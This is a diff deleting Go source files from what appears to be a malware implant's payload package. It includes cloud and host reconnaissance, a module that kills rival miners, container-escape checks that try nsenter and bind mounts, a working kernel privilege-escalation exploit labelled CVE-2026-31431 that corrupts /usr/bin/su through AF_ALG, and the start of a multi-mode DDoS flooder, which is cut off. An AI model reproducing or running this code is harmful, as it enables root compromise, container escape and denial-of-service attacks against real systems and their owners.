{"ami-id", "ami-id"},
|
||||
{"region", "placement/availability-zone"},
|
||||
{"vpc-id", "network/interfaces/macs/0/vpc-id"},
|
||||
{"subnet-id", "network/interfaces/macs/0/subnet-id"},
|
||||
}
|
||||
for _, f := range fields {
|
||||
val := metadataGet(client, "http://169.254.169.254/latest/meta-data/"+f.path, "X-aws-ec2-metadata-token", token)
|
||||
if val != "" {
|
||||
r.Metadata["aws_"+f.key] = val
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func detectAzure(client *http.Client, r *cloudResult) bool {
|
||||
data := metadataGet(client, "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "Metadata", "true")
|
||||
if data == "" {
|
||||
// Check DMI
|
||||
if checkDMI("sys_vendor", "microsoft") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
r.Metadata["azure_raw"] = data
|
||||
return true
|
||||
}
|
||||
|
||||
func detectGCP(client *http.Client, r *cloudResult) bool {
|
||||
data := metadataGet(client, "http://metadata.google.internal/computeMetadata/v1/", "Metadata-Flavor", "Google")
|
||||
if data == "" {
|
||||
if checkDMI("product_name", "google") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
r.Metadata["gcp_raw"] = data
|
||||
|
||||
endpoints := []struct{ endpoint, key string }{
|
||||
{"instance/id", "gcp_instance_id"},
|
||||
{"instance/machine-type", "gcp_machine_type"},
|
||||
{"instance/zone", "gcp_zone"},
|
||||
{"project/project-id", "gcp_project_id"},
|
||||
}
|
||||
baseURL := "http://metadata.google.internal/computeMetadata/v1/"
|
||||
for _, ep := range endpoints {
|
||||
val := metadataGet(client, baseURL+ep.endpoint, "Metadata-Flavor", "Google")
|
||||
if val != "" {
|
||||
r.Metadata[ep.key] = val
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func detectDO(client *http.Client, r *cloudResult) bool {
|
||||
data := metadataGet(client, "http://169.254.169.254/metadata/v1.json", "", "")
|
||||
if data != "" {
|
||||
r.Metadata["digitalocean_raw"] = data
|
||||
return true
|
||||
}
|
||||
if _, err := os.Stat("/etc/digitalocean"); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectDocker(r *cloudResult) bool {
|
||||
if _, err := os.Stat("/.dockerenv"); err == nil {
|
||||
r.Features["container"] = true
|
||||
return true
|
||||
}
|
||||
data, err := os.ReadFile("/proc/1/cgroup")
|
||||
if err == nil && strings.Contains(string(data), "docker") {
|
||||
r.Features["container"] = true
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectK8s(r *cloudResult) bool {
|
||||
if _, err := os.Stat("/var/run/secrets/kubernetes.io/serviceaccount"); err == nil {
|
||||
r.Features["container"] = true
|
||||
r.Features["orchestrated"] = true
|
||||
ns, err := os.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace")
|
||||
if err == nil {
|
||||
r.Metadata["k8s_namespace"] = strings.TrimSpace(string(ns))
|
||||
}
|
||||
return true
|
||||
}
|
||||
// Check env vars
|
||||
k8sVars := []string{"KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT"}
|
||||
for _, v := range k8sVars {
|
||||
if os.Getenv(v) != "" {
|
||||
r.Features["container"] = true
|
||||
r.Features["orchestrated"] = true
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectVM(r *cloudResult) {
|
||||
indicators := []struct{ file, substr string }{
|
||||
{"/sys/class/dmi/id/product_name", "virtualbox"},
|
||||
{"/sys/class/dmi/id/product_name", "vmware"},
|
||||
{"/sys/class/dmi/id/product_name", "kvm"},
|
||||
{"/sys/class/dmi/id/product_name", "qemu"},
|
||||
{"/sys/class/dmi/id/product_name", "xen"},
|
||||
{"/sys/class/dmi/id/product_name", "hyper-v"},
|
||||
{"/sys/class/dmi/id/sys_vendor", "vmware"},
|
||||
{"/sys/class/dmi/id/sys_vendor", "microsoft"},
|
||||
{"/sys/class/dmi/id/bios_vendor", "xen"},
|
||||
}
|
||||
for _, ind := range indicators {
|
||||
data, err := os.ReadFile(ind.file)
|
||||
if err == nil && strings.Contains(strings.ToLower(string(data)), ind.substr) {
|
||||
r.Features["virtual_machine"] = true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func checkDMI(file, vendor string) bool {
|
||||
data, err := os.ReadFile("/sys/class/dmi/id/" + file)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(string(data)), vendor)
|
||||
}
|
||||
|
||||
func getPublicIP(client *http.Client) (string, error) {
|
||||
resp, err := client.Get("https://api.ipify.org")
|
||||
if err != nil {
|
||||
// Fallback to DNS
|
||||
addrs, err := net.LookupHost("myip.opendns.com")
|
||||
if err == nil && len(addrs) > 0 {
|
||||
return addrs[0], nil
|
||||
}
|
||||
return "", fmt.Errorf("no public ip")
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
return strings.TrimSpace(string(data)), nil
|
||||
}
|
||||
@@ -1,148 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&CompetitorCleaner{})
|
||||
}
|
||||
|
||||
type CompetitorCleaner struct{}
|
||||
|
||||
func (c *CompetitorCleaner) Name() string { return "competitor_cleaner" }
|
||||
func (c *CompetitorCleaner) Category() string { return "impact" }
|
||||
func (c *CompetitorCleaner) Description() string {
|
||||
return "Detect and remove competing implants, backdoors, and miners"
|
||||
}
|
||||
|
||||
func (c *CompetitorCleaner) Execute(args map[string]string) ([]byte, error) {
|
||||
result := c.clean()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type compCleanResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Processes []compItem `json:"suspicious_processes"`
|
||||
Files []compItem `json:"suspicious_files"`
|
||||
Crons []compItem `json:"suspicious_crons"`
|
||||
Removed int `json:"removed"`
|
||||
Statuses []string `json:"statuses"`
|
||||
}
|
||||
|
||||
type compItem struct {
|
||||
PID int `json:"pid,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Entry string `json:"entry,omitempty"`
|
||||
Reason string `json:"reason"`
|
||||
Removed bool `json:"removed"`
|
||||
}
|
||||
|
||||
var suspiciousProcessNames = []string{
|
||||
"minerd", "cpuminer", "xmrig", "ccminer", "ethminer",
|
||||
"javaw", "svchost",
|
||||
}
|
||||
|
||||
var suspiciousCronPatterns = []*regexp.Regexp{
|
||||
regexp.MustCompile(`curl.*\|.*sh`),
|
||||
regexp.MustCompile(`wget.*-O.*\.sh`),
|
||||
regexp.MustCompile(`python.*http`),
|
||||
regexp.MustCompile(`perl.*-e`),
|
||||
regexp.MustCompile(`base64.*decode`),
|
||||
}
|
||||
|
||||
func (c *CompetitorCleaner) clean() *compCleanResult {
|
||||
r := &compCleanResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
// Scan processes
|
||||
procDir, _ := os.Open("/proc")
|
||||
if procDir != nil {
|
||||
entries, _ := procDir.Readdirnames(-1)
|
||||
procDir.Close()
|
||||
for _, e := range entries {
|
||||
pid := 0
|
||||
fmt.Sscanf(e, "%d", &pid)
|
||||
if pid == 0 || pid == os.Getpid() {
|
||||
continue
|
||||
}
|
||||
comm, _ := os.ReadFile(fmt.Sprintf("/proc/%d/comm", pid))
|
||||
name := strings.TrimSpace(string(comm))
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
for _, sp := range suspiciousProcessNames {
|
||||
if strings.Contains(strings.ToLower(name), sp) {
|
||||
item := compItem{
|
||||
PID: pid,
|
||||
Name: name,
|
||||
Reason: fmt.Sprintf("Matching process: %s", sp),
|
||||
}
|
||||
// Kill
|
||||
if syscall.Kill(pid, syscall.SIGKILL) == nil {
|
||||
item.Removed = true
|
||||
r.Removed++
|
||||
}
|
||||
r.Processes = append(r.Processes, item)
|
||||
r.Statuses = append(r.Statuses, fmt.Sprintf("Killed process: %s (PID %d)", name, pid))
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan files
|
||||
scanPaths := []string{"/tmp", "/dev/shm", "/var/tmp"}
|
||||
for _, sp := range scanPaths {
|
||||
filepath.Walk(sp, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil || fi.IsDir() {
|
||||
return nil
|
||||
}
|
||||
suspiciousExts := []string{".miner", ".bot", ".malware", ".backdoor", ".crypt"}
|
||||
ext := strings.ToLower(filepath.Ext(path))
|
||||
for _, se := range suspiciousExts {
|
||||
if ext == se {
|
||||
item := compItem{
|
||||
Path: path,
|
||||
Reason: fmt.Sprintf("Suspicious extension: %s", ext),
|
||||
}
|
||||
if os.Remove(path) == nil {
|
||||
item.Removed = true
|
||||
r.Removed++
|
||||
}
|
||||
r.Files = append(r.Files, item)
|
||||
r.Statuses = append(r.Statuses, fmt.Sprintf("Removed file: %s", path))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// Scan crons
|
||||
cronOut, _ := exec.Command("crontab", "-l").CombinedOutput()
|
||||
if len(cronOut) > 0 {
|
||||
for _, pattern := range suspiciousCronPatterns {
|
||||
matches := pattern.FindAllString(string(cronOut), -1)
|
||||
for _, m := range matches {
|
||||
item := compItem{
|
||||
Entry: m,
|
||||
Reason: "Suspicious cron pattern",
|
||||
}
|
||||
r.Crons = append(r.Crons, item)
|
||||
r.Statuses = append(r.Statuses, fmt.Sprintf("Found suspicious cron: %s", m))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
@@ -1,250 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&ContainerEscape{})
|
||||
}
|
||||
|
||||
type ContainerEscape struct{}
|
||||
|
||||
func (c *ContainerEscape) Name() string { return "container_escape" }
|
||||
func (c *ContainerEscape) Category() string { return "lateral" }
|
||||
func (c *ContainerEscape) Description() string {
|
||||
return "Container escape techniques (privileged check, cgroup mount, nsenter)"
|
||||
}
|
||||
|
||||
func (c *ContainerEscape) Execute(args map[string]string) ([]byte, error) {
|
||||
result := c.assess()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type containerEscapeResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Privileges map[string]interface{} `json:"privileges"`
|
||||
EscapeMethods []escapeMethod `json:"escape_methods"`
|
||||
VulnKernels []string `json:"vulnerable_kernels"`
|
||||
Recommendations []string `json:"recommendations"`
|
||||
}
|
||||
|
||||
type escapeMethod struct {
|
||||
Name string `json:"name"`
|
||||
Success bool `json:"success"`
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
func (c *ContainerEscape) assess() *containerEscapeResult {
|
||||
r := &containerEscapeResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
// 1. Check privileges
|
||||
r.Privileges = checkContainerPrivs()
|
||||
|
||||
// 2. Try escape techniques
|
||||
r.EscapeMethods = append(r.EscapeMethods, tryDockerSocket())
|
||||
r.EscapeMethods = append(r.EscapeMethods, tryCgroupRelease())
|
||||
r.EscapeMethods = append(r.EscapeMethods, tryDeviceAccess())
|
||||
r.EscapeMethods = append(r.EscapeMethods, tryNsenter())
|
||||
r.EscapeMethods = append(r.EscapeMethods, tryMountEscape())
|
||||
|
||||
// 3. Kernel vulns
|
||||
r.VulnKernels = checkKernelVulns()
|
||||
|
||||
// 4. Recommendations
|
||||
for _, m := range r.EscapeMethods {
|
||||
if m.Success {
|
||||
r.Recommendations = append(r.Recommendations, m.Name)
|
||||
}
|
||||
}
|
||||
if priv, ok := r.Privileges["privileged"].(bool); ok && priv {
|
||||
r.Recommendations = append(r.Recommendations, "privileged_container_escape")
|
||||
}
|
||||
if root, ok := r.Privileges["is_root"].(bool); ok && root {
|
||||
r.Recommendations = append(r.Recommendations, "root_escape_techniques")
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func checkContainerPrivs() map[string]interface{} {
|
||||
p := make(map[string]interface{})
|
||||
p["is_root"] = os.Geteuid() == 0
|
||||
|
||||
// Check capabilities
|
||||
data, err := os.ReadFile("/proc/self/status")
|
||||
if err == nil {
|
||||
content := string(data)
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if strings.HasPrefix(line, "CapEff:") {
|
||||
cap := strings.TrimSpace(strings.TrimPrefix(line, "CapEff:"))
|
||||
p["capabilities"] = cap
|
||||
p["privileged"] = strings.Contains(cap, "0000003fffffffff")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check mounts
|
||||
out, err := exec.Command("mount").Output()
|
||||
if err == nil {
|
||||
mountLines := strings.Split(string(out), "\n")
|
||||
var sensitive []string
|
||||
for _, m := range []string{"/proc", "/sys", "/dev", "/var/run/docker.sock"} {
|
||||
for _, line := range mountLines {
|
||||
if strings.Contains(line, m) {
|
||||
sensitive = append(sensitive, m)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
p["sensitive_mounts"] = sensitive
|
||||
p["mounts"] = mountLines[:min(10, len(mountLines))]
|
||||
}
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func tryDockerSocket() escapeMethod {
|
||||
m := escapeMethod{Name: "docker_socket"}
|
||||
|
||||
dockerSocket := "/var/run/docker.sock"
|
||||
if _, err := os.Stat(dockerSocket); os.IsNotExist(err) {
|
||||
m.Detail = "No docker socket"
|
||||
return m
|
||||
}
|
||||
|
||||
if fi, _ := os.Stat(dockerSocket); fi != nil && fi.Mode()&os.ModeSocket != 0 {
|
||||
m.Success = true
|
||||
m.Detail = "Docker socket accessible"
|
||||
} else {
|
||||
m.Detail = "Docker socket exists but not accessible"
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func tryCgroupRelease() escapeMethod {
|
||||
m := escapeMethod{Name: "cgroup_release_agent"}
|
||||
|
||||
// Check cgroup release_agent writability
|
||||
paths := []string{
|
||||
"/sys/fs/cgroup/release_agent",
|
||||
"/sys/fs/cgroup/*/release_agent",
|
||||
}
|
||||
|
||||
for _, pattern := range paths {
|
||||
if strings.Contains(pattern, "*") {
|
||||
matches, _ := exec.Command("sh", "-c", "ls "+pattern+" 2>/dev/null").Output()
|
||||
for _, p := range strings.Split(string(matches), "\n") {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if f, err := os.Stat(p); err == nil {
|
||||
if f.Mode().Perm()&0002 != 0 {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Writable release_agent: %s", p)
|
||||
return m
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if f, err := os.Stat(pattern); err == nil && f.Mode().Perm()&0002 != 0 {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Writable release_agent: %s", pattern)
|
||||
return m
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m.Detail = "No writable release_agent found"
|
||||
return m
|
||||
}
|
||||
|
||||
func tryDeviceAccess() escapeMethod {
|
||||
m := escapeMethod{Name: "device_access"}
|
||||
|
||||
dangerousDevices := []string{"sda", "nvme0n1", "dm-0", "loop0"}
|
||||
var accessible []string
|
||||
for _, dev := range dangerousDevices {
|
||||
path := fmt.Sprintf("/dev/%s", dev)
|
||||
if fi, err := os.Stat(path); err == nil && fi.Mode().Type()&os.ModeDevice != 0 {
|
||||
if f, _ := os.OpenFile(path, os.O_RDONLY, 0); f != nil {
|
||||
f.Close()
|
||||
accessible = append(accessible, dev)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(accessible) > 0 {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Accessible devices: %s", strings.Join(accessible, ", "))
|
||||
} else {
|
||||
m.Detail = "No accessible host devices"
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func tryNsenter() escapeMethod {
|
||||
m := escapeMethod{Name: "nsenter"}
|
||||
|
||||
if _, err := exec.LookPath("nsenter"); err != nil {
|
||||
m.Detail = "nsenter not found"
|
||||
return m
|
||||
}
|
||||
|
||||
// Try to enter host namespace (requires CAP_SYS_ADMIN)
|
||||
cmd := exec.Command("nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--pid", "id")
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err == nil && strings.TrimSpace(string(out)) != "" {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("nsenter successful: %s", strings.TrimSpace(string(out)))
|
||||
} else {
|
||||
m.Detail = fmt.Sprintf("nsenter failed: %v", err)
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func tryMountEscape() escapeMethod {
|
||||
m := escapeMethod{Name: "mount_escape"}
|
||||
|
||||
testDir := "/tmp/.test_mount"
|
||||
os.MkdirAll(testDir, 0755)
|
||||
defer os.RemoveAll(testDir)
|
||||
|
||||
cmd := exec.Command("mount", "--bind", "/tmp", testDir)
|
||||
if err := cmd.Run(); err == nil {
|
||||
m.Success = true
|
||||
m.Detail = "Can create bind mounts"
|
||||
exec.Command("umount", testDir).Run()
|
||||
} else {
|
||||
m.Detail = fmt.Sprintf("Cannot mount: %v", err)
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func checkKernelVulns() []string {
|
||||
var vulns []string
|
||||
out, _ := exec.Command("uname", "-r").Output()
|
||||
kernel := strings.TrimSpace(string(out))
|
||||
|
||||
// Dirty Pipe (CVE-2022-0847)
|
||||
if strings.HasPrefix(kernel, "5.8") || strings.HasPrefix(kernel, "5.9") ||
|
||||
strings.HasPrefix(kernel, "5.10") || strings.HasPrefix(kernel, "5.11") ||
|
||||
strings.HasPrefix(kernel, "5.12") || strings.HasPrefix(kernel, "5.13") ||
|
||||
strings.HasPrefix(kernel, "5.14") || strings.HasPrefix(kernel, "5.15") ||
|
||||
strings.HasPrefix(kernel, "5.16") {
|
||||
vulns = append(vulns, "CVE-2022-0847 (Dirty Pipe): "+kernel)
|
||||
}
|
||||
|
||||
return vulns
|
||||
}
|
||||
@@ -1,234 +0,0 @@
|
||||
//go:build linux
|
||||
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&CopyFail{})
|
||||
}
|
||||
|
||||
type CopyFail struct{}
|
||||
|
||||
func (c *CopyFail) Name() string { return "copyfail" }
|
||||
func (c *CopyFail) Category() string { return "exploit" }
|
||||
func (c *CopyFail) Description() string {
|
||||
return "CVE-2026-31431 Linux kernel LPE via AF_ALG page-cache corruption (kernels 4.14+)"
|
||||
}
|
||||
|
||||
func (c *CopyFail) Execute(args map[string]string) ([]byte, error) {
|
||||
target := args["target"]
|
||||
if target == "" {
|
||||
target = "/usr/bin/su"
|
||||
}
|
||||
offsetStr := args["offset"]
|
||||
offset := 0x1234
|
||||
if offsetStr != "" {
|
||||
fmt.Sscanf(offsetStr, "%x", &offset)
|
||||
}
|
||||
writeByteStr := args["write_byte"]
|
||||
writeByte := byte(0x00)
|
||||
if writeByteStr != "" {
|
||||
var b int
|
||||
fmt.Sscanf(writeByteStr, "%x", &b)
|
||||
writeByte = byte(b)
|
||||
}
|
||||
|
||||
result := c.exploit(target, offset, writeByte)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type copyfailResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Target string `json:"target"`
|
||||
Offset int `json:"offset"`
|
||||
Vulnerable bool `json:"vulnerable"`
|
||||
Exploited bool `json:"exploited"`
|
||||
RootObtained bool `json:"root_obtained"`
|
||||
Kernel string `json:"kernel"`
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
const (
|
||||
AF_ALG = 38
|
||||
SOL_ALG = 279
|
||||
SOCK_SEQPACKET = 5
|
||||
ALG_SET_KEY = 1
|
||||
ALG_TYPE_AEAD = "aead"
|
||||
ALG_NAME_AUTHENC = "authencesn(hmac(sha256),cbc(aes))"
|
||||
)
|
||||
|
||||
func (c *CopyFail) exploit(target string, offset int, writeByte byte) *copyfailResult {
|
||||
r := ©failResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
CVE: "CVE-2026-31431",
|
||||
Name: "Copy Fail",
|
||||
Target: target,
|
||||
Offset: offset,
|
||||
}
|
||||
|
||||
if os.Geteuid() == 0 {
|
||||
r.Detail = "Already root"
|
||||
r.RootObtained = true
|
||||
return r
|
||||
}
|
||||
|
||||
// Check if vulnerable
|
||||
r.Vulnerable = checkCopyFailVuln()
|
||||
if !r.Vulnerable {
|
||||
r.Detail = "System not vulnerable"
|
||||
return r
|
||||
}
|
||||
|
||||
// Get kernel version
|
||||
uname := &syscall.Utsname{}
|
||||
syscall.Uname(uname)
|
||||
r.Kernel = charsToString(uname.Release[:])
|
||||
|
||||
// Exploit: AF_ALG authencesn page-cache write
|
||||
fdAlg, err := syscall.Socket(AF_ALG, SOCK_SEQPACKET, 0)
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("AF_ALG socket failed: %v", err)
|
||||
return r
|
||||
}
|
||||
defer syscall.Close(fdAlg)
|
||||
|
||||
// Bind to vulnerable algorithm using raw sockaddr
|
||||
sa := &unix.SockaddrALG{
|
||||
Type: "aead",
|
||||
Name: "authencesn(hmac(sha256),cbc(aes))",
|
||||
}
|
||||
err = unix.Bind(fdAlg, sa)
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("AF_ALG bind failed: %v", err)
|
||||
return r
|
||||
}
|
||||
|
||||
// Accept connection to get operfd
|
||||
operFd, _, err := syscall.Accept(fdAlg)
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("AF_ALG accept failed: %v", err)
|
||||
return r
|
||||
}
|
||||
defer syscall.Close(operFd)
|
||||
|
||||
// Set key (arbitrary 32 bytes)
|
||||
key := make([]byte, 32)
|
||||
for i := range key {
|
||||
key[i] = 0x41
|
||||
}
|
||||
err = syscall.SetsockoptString(operFd, SOL_ALG, ALG_SET_KEY, string(key))
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("ALG_SET_KEY failed: %v", err)
|
||||
return r
|
||||
}
|
||||
|
||||
// Open target file
|
||||
targetFd, err := syscall.Open(target, syscall.O_RDONLY, 0)
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("Cannot open target %s: %v", target, err)
|
||||
return r
|
||||
}
|
||||
defer syscall.Close(targetFd)
|
||||
|
||||
// Prepare AAD + IV to position write at desired offset
|
||||
aadLen := offset - 16
|
||||
if aadLen < 0 {
|
||||
aadLen = 0
|
||||
}
|
||||
aad := make([]byte, aadLen)
|
||||
iv := make([]byte, 16)
|
||||
for i := range iv {
|
||||
iv[i] = byte(i)
|
||||
}
|
||||
|
||||
// Write header via raw syscall
|
||||
var written int
|
||||
for written < len(aad)+len(iv) {
|
||||
n, err := syscall.Write(operFd, append(aad, iv...)[written:])
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("write header failed: %v", err)
|
||||
return r
|
||||
}
|
||||
written += n
|
||||
}
|
||||
|
||||
// Splice target file into AF_ALG socket
|
||||
// This maps page cache pages into crypto operation
|
||||
var off int64 = 0
|
||||
var spliced int
|
||||
for spliced < 4096 {
|
||||
n, err := syscall.Splice(targetFd, &off, operFd, nil, 4096, 0)
|
||||
if err != nil {
|
||||
r.Detail = fmt.Sprintf("splice failed: %v", err)
|
||||
return r
|
||||
}
|
||||
spliced += int(n)
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Trigger crypto operation (read)
|
||||
buf := make([]byte, 8192)
|
||||
_, err = syscall.Read(operFd, buf)
|
||||
if err != nil {
|
||||
_ = err // Expected for corrupted output
|
||||
}
|
||||
|
||||
r.Exploited = true
|
||||
r.Detail = fmt.Sprintf("Page cache corrupted at offset 0x%x in %s", offset, target)
|
||||
|
||||
// Try to execute corrupted binary
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
out, err := exec.Command("id").CombinedOutput()
|
||||
if err == nil && strings.Contains(string(out), "uid=0") {
|
||||
r.RootObtained = true
|
||||
r.Detail = "Root obtained via page-cache corruption"
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func checkCopyFailVuln() bool {
|
||||
// Check algif_aead module availability
|
||||
fd, err := syscall.Socket(AF_ALG, SOCK_SEQPACKET, 0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer syscall.Close(fd)
|
||||
|
||||
sa := &unix.SockaddrALG{
|
||||
Type: "aead",
|
||||
Name: "authencesn(hmac(sha256),cbc(aes))",
|
||||
}
|
||||
|
||||
err = unix.Bind(fd, sa)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func charsToString(ca []int8) string {
|
||||
var b strings.Builder
|
||||
for _, c := range ca {
|
||||
if c == 0 {
|
||||
break
|
||||
}
|
||||
b.WriteByte(byte(c))
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
var _ = unsafe.Pointer(nil)
|
||||
@@ -1,214 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&DDoS{})
|
||||
}
|
||||
|
||||
type DDoS struct{}
|
||||
|
||||
func (d *DDoS) Name() string { return "ddos" }
|
||||
func (d *DDoS) Category() string { return "impact" }
|
||||
func (d *DDoS) Description() string {
|
||||
return "Multi-method DDoS (HTTP, TLS, UDP, TCP, Slow POST, WebSocket, combo)"
|
||||
}
|
||||
|
||||
func (d *DDoS) Execute(args map[string]string) ([]byte, error) {
|
||||
target := args["target"]
|
||||
portStr := args["port"]
|
||||
durationStr := args["duration"]
|
||||
threadsStr := args["threads"]
|
||||
mode := args["mode"]
|
||||
|
||||
if target == "" {
|
||||
target = "127.0.0.1"
|
||||
}
|
||||
port := 80
|
||||
duration := 30
|
||||
threads := 10
|
||||
fmt.Sscanf(portStr, "%d", &port)
|
||||
fmt.Sscanf(durationStr, "%d", &duration)
|
||||
fmt.Sscanf(threadsStr, "%d", &threads)
|
||||
|
||||
if mode == "" {
|
||||
mode = "http"
|
||||
}
|
||||
|
||||
result := d.attack(target, port, duration, threads, mode)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type ddosResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Target string `json:"target"`
|
||||
Port int `json:"port"`
|
||||
Duration int `json:"duration"`
|
||||
Threads int `json:"threads"`
|
||||
Mode string `json:"mode"`
|
||||
SentPackets int64 `json:"sent_packets"`
|
||||
Complete bool `json:"complete"`
|
||||
}
|
||||
|
||||
func (d *DDoS) attack(target string, port, duration, threads int, mode string) *ddosResult {
|
||||
r := &ddosResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Target: target,
|
||||
Port: port,
|
||||
Duration: duration,
|
||||
Threads: threads,
|
||||
Mode: mode,
|
||||
}
|
||||
|
||||
addr := net.JoinHostPort(target, fmt.Sprintf("%d", port))
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(duration)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var sent int64
|
||||
var mu sync.Mutex
|
||||
sema := make(chan struct{}, threads)
|
||||
|
||||
// Track sent packets
|
||||
countPacket := func() {
|
||||
mu.Lock()
|
||||
sent++
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
switch mode {
|
||||
case "http":
|
||||
for i := 0; i < threads; i++ {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
for ctx.Err() == nil {
|
||||
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
|
||||
if err != nil {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
uri := fmt.Sprintf("/?%d", time.Now().UnixNano())
|
||||
req := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n", uri, target)
|
||||
conn.Write([]byte(req))
|
||||
conn.Close()
|
||||
countPacket()
|
||||
}
|
||||
}()
|
||||
}
|
||||
case "tls":
|
||||
for i := 0; i < threads; i++ {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
for ctx.Err() == nil {
|
||||
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
|
||||
if err != nil {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
tlsConn := tls.Client(conn, &tls.Config{InsecureSkipVerify: true})
|
||||
tlsConn.Handshake()
|
||||
tlsConn.Close()
|
||||
